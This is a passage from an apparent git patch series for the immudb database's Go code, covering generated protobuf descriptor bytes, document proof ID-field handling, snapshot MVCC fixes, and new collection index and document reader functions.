0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, + 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x73, 0x65, 0x61, 0x72, 0x63, + 0x68, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0b, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x12, 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, + 0x75, 0x64, 0x69, 0x74, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, + 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x41, 0x75, 0x64, 0x69, + 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x41, 0x75, 0x64, 0x69, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x73, 0x2f, 0x61, 0x75, 0x64, 0x69, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, + 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x12, + 0x8a, 0x01, 0x0a, 0x0d, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, + 0x66, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x6d, + 0x6f, 0x64, 0x65, 0x6c, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, + 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x30, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x15, 0x22, 0x10, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x70, + 0x72, 0x6f, 0x6f, 0x66, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x12, 0x0a, 0x09, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x0a, 0x05, 0x61, 0x75, 0x64, 0x69, 0x74, 0x42, 0xba, 0x01, 0x5a, + 0x2f, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, + 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x6d, 0x6f, 0x64, 0x65, 0x6c, + 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, + 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, + 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, + 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, + 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, + 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, + 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, + 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, + 0x33, } var ( diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index f01bd2486f..e9decde5fb 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -201,7 +201,7 @@ func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofReq } defer d.releaseTx(tx) - collectionID, docAudit, err := d.documentEngine.GetEncodedDocument(ctx, req.Collection, docID, req.TransactionId) + collectionID, idFieldName, docAudit, err := d.documentEngine.GetEncodedDocument(ctx, req.Collection, docID, req.TransactionId) if err != nil { return nil, err } @@ -238,6 +238,7 @@ func (d *db) DocumentProof(ctx context.Context, req *protomodel.DocumentProofReq return &protomodel.DocumentProofResponse{ Database: d.name, CollectionId: collectionID, + IdFieldName: idFieldName, EncodedDocument: docAudit.EncodedDocument, VerifiableTx: &schema.VerifiableTxV2{ Tx: schema.TxToProto(tx), diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 03f2751e18..32979eb229 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -120,7 +120,9 @@ func TestDocumentDB_Collection(t *testing.T) { }, }) require.NoError(t, err) + defer reader.Close() + docs, err := reader.Read(context.Background(), 1) require.NoError(t, err) diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go index dbcd625371..074bc63d98 100644 --- a/pkg/verification/verification.go +++ b/pkg/verification/verification.go @@ -43,9 +43,9 @@ func VerifyDocument(ctx context.Context, return nil, store.ErrIllegalArguments } - docID, ok := doc.Fields[document.DefaultDocumentIDField] //TODO: use collection info to determine docID field name + docID, ok := doc.Fields[proof.IdFieldName] if !ok { - return nil, fmt.Errorf("%w: missing field '%s'", store.ErrIllegalArguments, document.DefaultDocumentIDField) //TODO: use collection info to determine docID field name + return nil, fmt.Errorf("%w: missing field '%s'", store.ErrIllegalArguments, proof.IdFieldName) } encDocKey, err := encodedKeyForDocument(proof.CollectionId, docID.GetStringValue()) From dae128902aeb4bb3e088a58993719a42f4621f5f Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 1 May 2023 13:11:23 -0300 Subject: [PATCH 0465/1062] fix(embedded/store): force snapshot to include mandatory mvcc changes Signed-off-by: Jeronimo Irazabal --- embedded/store/immustore.go | 14 +++++--------- embedded/store/immustore_test.go | 8 ++++---- embedded/store/ongoing_tx.go | 10 ++++++++-- 3 files changed, 17 insertions(+), 15 deletions(-) diff --git a/embedded/store/immustore.go b/embedded/store/immustore.go index f7b4c4321d..eb64297bae 100644 --- a/embedded/store/immustore.go +++ b/embedded/store/immustore.go @@ -602,7 +602,7 @@ func OpenWith(path string, vLogs []appendable.Appendable, txLog, cLog appendable // give some time for more transactions to be precommitted time.Sleep(store.syncFrequency / 4) - latestPrecommitedTx := store.lastPrecommittedTxID() + latestPrecommitedTx := store.LastPrecommittedTxID() if prevLatestPrecommitedTx == latestPrecommitedTx { // avoid waiting if there are no new transactions @@ -792,7 +792,7 @@ func (s *ImmuStore) SnapshotMustIncludeTxID(ctx context.Context, txID uint64) (* // If txID is 0, any snapshot not older than renewalPeriod may be used. // If renewalPeriod is 0, renewal period is not taken into consideration func (s *ImmuStore) SnapshotMustIncludeTxIDWithRenewalPeriod(ctx context.Context, txID uint64, renewalPeriod time.Duration) (*Snapshot, error) { - if txID > s.lastPrecommittedTxID() { + if txID > s.LastPrecommittedTxID() { return nil, fmt.Errorf("%w: txID is greater than the last precommitted transaction", ErrIllegalArguments) } @@ -1208,7 +1208,7 @@ func (s *ImmuStore) precommit(ctx context.Context, otx *OngoingTx, hdr *TxHeader return nil, fmt.Errorf("%w: entries hash (Eh) differs", ErrIllegalArguments) } - lastPreCommittedTxID := s.lastPrecommittedTxID() + lastPreCommittedTxID := s.LastPrecommittedTxID() if lastPreCommittedTxID >= hdr.ID { return nil, ErrTxAlreadyCommitted @@ -1320,17 +1320,13 @@ func (s *ImmuStore) LastCommittedTxID() uint64 { return s.committedTxID } -func (s *ImmuStore) lastPrecommittedTxID() uint64 { +func (s *ImmuStore) LastPrecommittedTxID() uint64 { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() return s.inmemPrecommittedTxID } -func (s *ImmuStore) LastPrecommittedTxID() uint64 { - return s.lastPrecommittedTxID() -} - func (s *ImmuStore) MandatoryMVCCUpToTxID() uint64 { s.commitStateRWMutex.RLock() defer s.commitStateRWMutex.RUnlock() @@ -1742,7 +1738,7 @@ func (s *ImmuStore) preCommitWith(ctx context.Context, callback func(txID uint64 s.indexer.Pause() defer s.indexer.Resume() - lastPreCommittedTxID := s.lastPrecommittedTxID() + lastPreCommittedTxID := s.LastPrecommittedTxID() otx.entries, otx.preconditions, err = callback(lastPreCommittedTxID+1, &unsafeIndex{st: s}) if err != nil { diff --git a/embedded/store/immustore_test.go b/embedded/store/immustore_test.go index d0636776e4..7036357977 100644 --- a/embedded/store/immustore_test.go +++ b/embedded/store/immustore_test.go @@ -2884,7 +2884,7 @@ func BenchmarkSyncedAppendWithExtCommitAllowance(b *testing.B) { go func() { for { - err := immuStore.AllowCommitUpto(immuStore.lastPrecommittedTxID()) + err := immuStore.AllowCommitUpto(immuStore.LastPrecommittedTxID()) if err == ErrAlreadyClosed { return } @@ -2953,7 +2953,7 @@ func BenchmarkAsyncAppendWithExtCommitAllowance(b *testing.B) { go func() { for { - err := immuStore.AllowCommitUpto(immuStore.lastPrecommittedTxID()) + err := immuStore.AllowCommitUpto(immuStore.LastPrecommittedTxID()) if err == ErrAlreadyClosed { return } @@ -3609,14 +3609,14 @@ func TestImmudbStorePrecommittedTxDiscarding(t *testing.T) { require.NoError(t, err) require.Equal(t, txCount/2-1, n) - require.Equal(t, uint64(txCount/2+1), immuStore.lastPrecommittedTxID()) + require.Equal(t, uint64(txCount/2+1), immuStore.LastPrecommittedTxID()) // discard latest precommitted one n, err = immuStore.DiscardPrecommittedTxsSince(uint64(txCount/2 + 1)) require.NoError(t, err) require.Equal(t, 1, n) - require.Equal(t, uint64(txCount/2), immuStore.lastPrecommittedTxID()) + require.Equal(t, uint64(txCount/2), immuStore.LastPrecommittedTxID()) err = immuStore.Close() require.NoError(t, err) diff --git a/embedded/store/ongoing_tx.go b/embedded/store/ongoing_tx.go index 6e34fd0c46..ab6ff8a156 100644 --- a/embedded/store/ongoing_tx.go +++ b/embedded/store/ongoing_tx.go @@ -107,7 +107,13 @@ func newOngoingTx(ctx context.Context, s *ImmuStore, opts *TxOptions) (*OngoingT var snapshotMustIncludeTxID uint64 if opts.SnapshotMustIncludeTxID != nil { - snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID(s.lastPrecommittedTxID()) + snapshotMustIncludeTxID = opts.SnapshotMustIncludeTxID(s.LastPrecommittedTxID()) + } + + mandatoryMVCCUpToTxID := s.MandatoryMVCCUpToTxID() + + if mandatoryMVCCUpToTxID > snapshotMustIncludeTxID { + snapshotMustIncludeTxID = mandatoryMVCCUpToTxID } snap, err := s.SnapshotMustIncludeTxIDWithRenewalPeriod(ctx, snapshotMustIncludeTxID, opts.SnapshotRenewalPeriod) @@ -494,7 +500,7 @@ func (tx *OngoingTx) checkPreconditions(st *ImmuStore) error { } } - if tx.IsWriteOnly() || tx.snap.Ts() > st.lastPrecommittedTxID() { + if tx.IsWriteOnly() || tx.snap.Ts() > st.LastPrecommittedTxID() { // read-only transactions or read-write transactions when no other transaction was committed won't be invalidated return nil } From fb24565249296ae2817730e0be513369fe17ce5e Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Mon, 1 May 2023 13:11:58 -0300 Subject: [PATCH 0466/1062] chore(pkg/api): buch of implementation improvements Signed-off-by: Jeronimo Irazabal --- embedded/document/document_reader.go | 88 ++ embedded/document/engine.go | 308 ++--- embedded/sql/stmt.go | 34 +- pkg/api/openapi/apidocs.swagger.json | 128 +- pkg/api/proto/documents.proto | 52 +- pkg/api/protomodel/docs.md | 66 +- pkg/api/protomodel/documents.pb.go | 1466 ++++++++++++++--------- pkg/api/protomodel/documents.pb.gw.go | 162 +++ pkg/api/protomodel/documents_grpc.pb.go | 72 ++ pkg/auth/permissions.go | 4 + pkg/database/document_database.go | 72 +- pkg/database/document_database_test.go | 26 +- pkg/server/db_dummy_closed.go | 34 +- pkg/server/documents_operations.go | 114 +- pkg/server/documents_operations_test.go | 129 +- 15 files changed, 1897 insertions(+), 858 deletions(-) create mode 100644 embedded/document/document_reader.go diff --git a/embedded/document/document_reader.go b/embedded/document/document_reader.go new file mode 100644 index 0000000000..3fa7e77ccf --- /dev/null +++ b/embedded/document/document_reader.go @@ -0,0 +1,88 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package document + +import ( + "context" + "encoding/json" + + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/pkg/api/protomodel" + + "google.golang.org/protobuf/types/known/structpb" +) + +type DocumentReader interface { + Read(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) + Close() error +} + +type documentReader struct { + sqlTx *sql.SQLTx + reader sql.RowReader +} + +func newDocumentReader(sqlTx *sql.SQLTx, reader sql.RowReader) DocumentReader { + return &documentReader{ + sqlTx: sqlTx, + reader: reader, + } +} + +// ReadStructMessagesFromReader reads a number of messages from a reader and returns them as a slice of Struct messages. +func (d *documentReader) Read(ctx context.Context, count int) ([]*protomodel.DocumentAtRevision, error) { + if count < 1 { + return nil, sql.ErrIllegalArguments + } + + revisions := make([]*protomodel.DocumentAtRevision, 0) + + var err error + + for l := 0; l < count; l++ { + var row *sql.Row + row, err = d.reader.Read(ctx) + if err == sql.ErrNoMoreRows { + err = ErrNoMoreDocuments + break + } + if err != nil { + return nil, err + } + + docBytes := row.ValuesByPosition[0].RawValue().([]byte) + + doc := &structpb.Struct{} + err = json.Unmarshal(docBytes, doc) + if err != nil { + return nil, err + } + + revisions = append(revisions, &protomodel.DocumentAtRevision{ + TransactionId: 0, // TODO: not yet available + Revision: 0, // TODO: not yet available + Document: doc, + }) + } + + return revisions, err +} + +func (d *documentReader) Close() error { + defer d.sqlTx.Cancel() + + return d.reader.Close() +} diff --git a/embedded/document/engine.go b/embedded/document/engine.go index fa3b54c440..c9a1161c13 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -43,6 +43,9 @@ var ( ErrDocumentNotFound = errors.New("document not found") ErrDocumentIDMismatch = errors.New("document id mismatch") ErrNoMoreDocuments = errors.New("no more documents") + ErrFieldAlreadyExists = errors.New("field already exists") + ErrFieldDoesNotExist = errors.New("field does not exist") + ErrReservedFieldName = errors.New("reserved field name") ) func mayTranslateError(err error) error { @@ -58,6 +61,14 @@ func mayTranslateError(err error) error { return ErrNoMoreDocuments } + if errors.Is(err, sql.ErrColumnAlreadyExists) { + return ErrFieldAlreadyExists + } + + if errors.Is(err, sql.ErrColumnDoesNotExist) { + return ErrFieldDoesNotExist + } + return err } @@ -90,12 +101,35 @@ var ( return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } return sql.NewFloat64(value.GetNumberValue()), nil + case sql.BooleanType: + _, ok := value.GetKind().(*structpb.Value_BoolValue) + if !ok { + return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + } + return sql.NewBool(value.GetBoolValue()), nil } return nil, fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) } - valueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { + protomodelValueTypeToSQLValueType = func(stype protomodel.FieldType) (sql.SQLValueType, error) { + switch stype { + case protomodel.FieldType_STRING: + return sql.VarcharType, nil + case protomodel.FieldType_INTEGER: + return sql.IntegerType, nil + case protomodel.FieldType_BLOB: + return sql.BLOBType, nil + case protomodel.FieldType_DOUBLE: + return sql.Float64Type, nil + case protomodel.FieldType_BOOLEAN: + return sql.BooleanType, nil + } + + return "", fmt.Errorf("%w(%s)", ErrUnsupportedType, stype) + } + + sqlValueTypeDefaultLength = func(stype sql.SQLValueType) (int, error) { switch stype { case sql.VarcharType: return sql.MaxKeyLen, nil @@ -119,9 +153,8 @@ type EncodedDocumentAtRevision struct { EncodedDocument []byte } -type DocumentReader interface { - Read(ctx context.Context, count int) ([]*structpb.Struct, error) - Close() error +type Engine struct { + sqlEngine *sql.Engine } func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { @@ -133,13 +166,13 @@ func NewEngine(store *store.ImmuStore, opts *sql.Options) (*Engine, error) { return &Engine{engine}, nil } -type Engine struct { - sqlEngine *sql.Engine -} +func (e *Engine) CreateCollection(ctx context.Context, name, idFieldName string, fields []*protomodel.Field, indexes []*protomodel.Index) error { + if idFieldName == "" { + idFieldName = DefaultDocumentIDField + } -func (e *Engine) CreateCollection(ctx context.Context, collection *protomodel.Collection) error { - if collection == nil { - return ErrIllegalArguments + if idFieldName == DocumentBLOBField { + return fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) } // only catalog needs to be up to date @@ -155,12 +188,7 @@ func (e *Engine) CreateCollection(ctx context.Context, collection *protomodel.Co } defer sqlTx.Cancel() - idFieldName := DefaultDocumentIDField - if collection.IdFieldName != "" { - idFieldName = collection.IdFieldName - } - - columns := make([]*sql.ColSpec, 2+len(collection.Fields)) + columns := make([]*sql.ColSpec, 2+len(fields)) // add primary key for document id columns[0] = sql.NewColSpec(idFieldName, sql.BLOBType, MaxDocumentIDLength, false, true) @@ -168,21 +196,33 @@ func (e *Engine) CreateCollection(ctx context.Context, collection *protomodel.Co // add columnn for blob, which stores the document as a whole columns[1] = sql.NewColSpec(DocumentBLOBField, sql.BLOBType, 0, false, false) - // add index keys - for i, field := range collection.Fields { - colLen, err := valueTypeDefaultLength(field.Type.String()) + for i, field := range fields { + if field.Name == idFieldName { + return fmt.Errorf("%w(%s): should not be specified", ErrReservedFieldName, idFieldName) + } + + if field.Name == DocumentBLOBField { + return fmt.Errorf("%w(%s): should not be specified", ErrReservedFieldName, DocumentBLOBField) + } + + sqlType, err := protomodelValueTypeToSQLValueType(field.Type) + if err != nil { + return err + } + + colLen, err := sqlValueTypeDefaultLength(sqlType) if err != nil { return err } - columns[i+2] = sql.NewColSpec(field.Name, field.Type.String(), colLen, false, false) + columns[i+2] = sql.NewColSpec(field.Name, sqlType, colLen, false, false) } _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, []sql.SQLStmt{sql.NewCreateTableStmt( - collection.Name, + name, false, columns, []string{idFieldName}, @@ -195,7 +235,13 @@ func (e *Engine) CreateCollection(ctx context.Context, collection *protomodel.Co var indexStmts []sql.SQLStmt - for _, index := range collection.Indexes { + for _, index := range indexes { + for _, field := range index.Fields { + if field == DocumentBLOBField { + return fmt.Errorf("%w(%s): non-indexable field", ErrReservedFieldName, DocumentBLOBField) + } + } + if len(index.Fields) == 1 && index.Fields[0] == idFieldName { if !index.IsUnique { return fmt.Errorf("%w: index on id field must be unique", ErrIllegalArguments) @@ -204,7 +250,7 @@ func (e *Engine) CreateCollection(ctx context.Context, collection *protomodel.Co continue } - indexStmts = append(indexStmts, sql.NewCreateIndexStmt(collection.Name, index.Fields, index.IsUnique)) + indexStmts = append(indexStmts, sql.NewCreateIndexStmt(name, index.Fields, index.IsUnique)) } // add indexes to collection @@ -300,7 +346,7 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { case sql.Float64Type: colType = protomodel.FieldType_DOUBLE case sql.BLOBType: - colType = protomodel.FieldType_STRING + colType = protomodel.FieldType_BLOB } collection.Fields = append(collection.Fields, &protomodel.Field{ @@ -325,9 +371,9 @@ func collectionFromTable(table *sql.Table) *protomodel.Collection { return collection } -func (e *Engine) UpdateCollection(ctx context.Context, collection *protomodel.Collection) error { - if collection == nil { - return ErrIllegalArguments +func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, idFieldName string) error { + if idFieldName == DocumentBLOBField { + return fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) } opts := sql.DefaultTxOptions(). @@ -342,18 +388,18 @@ func (e *Engine) UpdateCollection(ctx context.Context, collection *protomodel.Co } defer sqlTx.Cancel() - table, err := getTableForCollection(sqlTx, collection.Name) + table, err := getTableForCollection(sqlTx, collectionName) if err != nil { return err } - idFieldName := docIDFieldName(table) + currIDFieldName := docIDFieldName(table) - if collection.IdFieldName != "" && collection.IdFieldName != idFieldName { + if idFieldName != "" && idFieldName != currIDFieldName { _, _, err := e.sqlEngine.ExecPreparedStmts( ctx, sqlTx, - []sql.SQLStmt{sql.NewRenameColumnStmt(table.Name(), idFieldName, collection.IdFieldName)}, + []sql.SQLStmt{sql.NewRenameColumnStmt(table.Name(), idFieldName, idFieldName)}, nil, ) if err != nil { @@ -361,67 +407,88 @@ func (e *Engine) UpdateCollection(ctx context.Context, collection *protomodel.Co } } - /* - updateCollectionStmts := make([]sql.SQLStmt, 0) + err = sqlTx.Commit(ctx) + return mayTranslateError(err) +} - if len(removeIdxKeys) > 0 { - // delete indexes from collection - deleteIdxStmts := make([]sql.SQLStmt, 0) - for _, idx := range removeIdxKeys { - deleteIdxStmts = append(deleteIdxStmts, sql.NewDropIndexStmt(collectionName, idx)) - } +// DeleteCollection deletes a collection. +func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) error { + opts := sql.DefaultTxOptions(). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0). + WithExplicitClose(true) - _, _, err := e.sqlEngine.ExecPreparedStmts( - ctx, - sqlTx, - deleteIdxStmts, - nil, - ) - if err != nil { - return err - } - } + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) + if err != nil { + return mayTranslateError(err) + } + defer sqlTx.Cancel() - if len(addIdxKeys) > 0 { - // add index keys - for name, idx := range addIdxKeys { - colLen, err := valueTypeDefaultLength(idx.Type) - if err != nil { - return fmt.Errorf("index key specified is not supported: %v", idx.Type) - } - - // check if index column already exists - if _, err := table.GetColumnByName(name); err == nil { - continue - } - - // add indexes as new columns to collection - updateCollectionStmts = append(updateCollectionStmts, sql.NewAddColumnStmt(collectionName, sql.NewColSpec(name, idx.Type, colLen, false, false))) - } + _, _, err = e.sqlEngine.ExecPreparedStmts( + ctx, + nil, + []sql.SQLStmt{ + sql.NewDropTableStmt(collectionName), // delete collection from catalog + }, + nil, + ) + if err != nil { + return mayTranslateError(err) + } - // add indexes to collection - for name, idx := range addIdxKeys { - updateCollectionStmts = append(updateCollectionStmts, sql.NewCreateIndexStmt(collectionName, []string{name}, idx.IsUnique)) - } + err = sqlTx.Commit(ctx) + return mayTranslateError(err) +} - _, _, err := e.sqlEngine.ExecPreparedStmts( - ctx, - sqlTx, - updateCollectionStmts, - nil, - ) - if err != nil { - return err +func (e *Engine) CreateIndexes(ctx context.Context, collectionName string, indexes []*protomodel.Index) error { + if len(indexes) == 0 { + return fmt.Errorf("%w: no index specified", ErrIllegalArguments) + } + + opts := sql.DefaultTxOptions(). + WithUnsafeMVCC(true). + WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). + WithSnapshotRenewalPeriod(0). + WithExplicitClose(true) + + sqlTx, err := e.sqlEngine.NewTx(ctx, opts) + if err != nil { + return mayTranslateError(err) + } + defer sqlTx.Cancel() + + createIndexStmts := make([]sql.SQLStmt, len(indexes)) + + for i, index := range indexes { + for _, field := range index.Fields { + if field == DocumentBLOBField { + return fmt.Errorf("%w(%s): non-indexable field", ErrReservedFieldName, DocumentBLOBField) } } - */ + + createIndexStmts[i] = sql.NewCreateIndexStmt(collectionName, index.Fields, index.IsUnique) + } + + _, _, err = e.sqlEngine.ExecPreparedStmts( + ctx, + sqlTx, + createIndexStmts, + nil, + ) + if err != nil { + return mayTranslateError(err) + } err = sqlTx.Commit(ctx) return mayTranslateError(err) } -// DeleteCollection deletes a collection. -func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) error { +func (e *Engine) DeleteIndexes(ctx context.Context, collectionName string, indexes []*protomodel.Index) error { + if len(indexes) == 0 { + return fmt.Errorf("%w: no index specified", ErrIllegalArguments) + } + opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). @@ -434,12 +501,22 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er } defer sqlTx.Cancel() + createIndexStmts := make([]sql.SQLStmt, len(indexes)) + + for i, index := range indexes { + for _, field := range index.Fields { + if field == DocumentBLOBField { + return ErrFieldDoesNotExist + } + } + + createIndexStmts[i] = sql.NewDropIndexStmt(collectionName, index.Fields) + } + _, _, err = e.sqlEngine.ExecPreparedStmts( ctx, - nil, - []sql.SQLStmt{ - sql.NewDropTableStmt(collectionName), // delete collection from catalog - }, + sqlTx, + createIndexStmts, nil, ) if err != nil { @@ -476,7 +553,7 @@ func (e *Engine) BulkInsertDocuments(ctx context.Context, collectionName string, func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collectionName string, docs []*structpb.Struct, isInsert bool) (txID uint64, docIDs []DocumentID, err error) { if len(docs) == 0 { - return 0, nil, ErrIllegalArguments + return 0, nil, fmt.Errorf("%w: no document specified", ErrIllegalArguments) } table, err := getTableForCollection(sqlTx, collectionName) @@ -484,6 +561,8 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti return 0, nil, err } + docIDFieldName := docIDFieldName(table) + colNames := make([]string, len(table.Cols())) for i, col := range table.Cols() { @@ -496,10 +575,13 @@ func (e *Engine) upsertDocuments(ctx context.Context, sqlTx *sql.SQLTx, collecti for i, doc := range docs { if doc == nil { - return 0, nil, fmt.Errorf("%w: nil document", ErrIllegalArguments) + doc = &structpb.Struct{} } - docIDFieldName := docIDFieldName(table) + _, blobFieldProvisioned := doc.Fields[DocumentBLOBField] + if blobFieldProvisioned { + return 0, nil, fmt.Errorf("%w(%s)", ErrReservedFieldName, DocumentBLOBField) + } var docID DocumentID @@ -972,55 +1054,3 @@ func (e *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } - -type documentReader struct { - sqlTx *sql.SQLTx - reader sql.RowReader -} - -func newDocumentReader(sqlTx *sql.SQLTx, reader sql.RowReader) DocumentReader { - return &documentReader{ - sqlTx: sqlTx, - reader: reader, - } -} - -// ReadStructMessagesFromReader reads a number of messages from a reader and returns them as a slice of Struct messages. -func (d *documentReader) Read(ctx context.Context, count int) ([]*structpb.Struct, error) { - if count < 1 { - return nil, sql.ErrIllegalArguments - } - - var err error - results := make([]*structpb.Struct, 0) - - for l := 0; l < count; l++ { - var row *sql.Row - row, err = d.reader.Read(ctx) - if err == sql.ErrNoMoreRows { - err = ErrNoMoreDocuments - break - } - if err != nil { - return nil, err - } - - docBytes := row.ValuesByPosition[0].RawValue().([]byte) - - doc := &structpb.Struct{} - err = json.Unmarshal(docBytes, doc) - if err != nil { - return nil, err - } - - results = append(results, doc) - } - - return results, err -} - -func (d *documentReader) Close() error { - defer d.sqlTx.Cancel() - - return d.reader.Close() -} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index fdc2b89aca..0ef351291f 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -1682,6 +1682,10 @@ type Bool struct { val bool } +func NewBool(val bool) *Bool { + return &Bool{val: val} +} + func (v *Bool) Type() 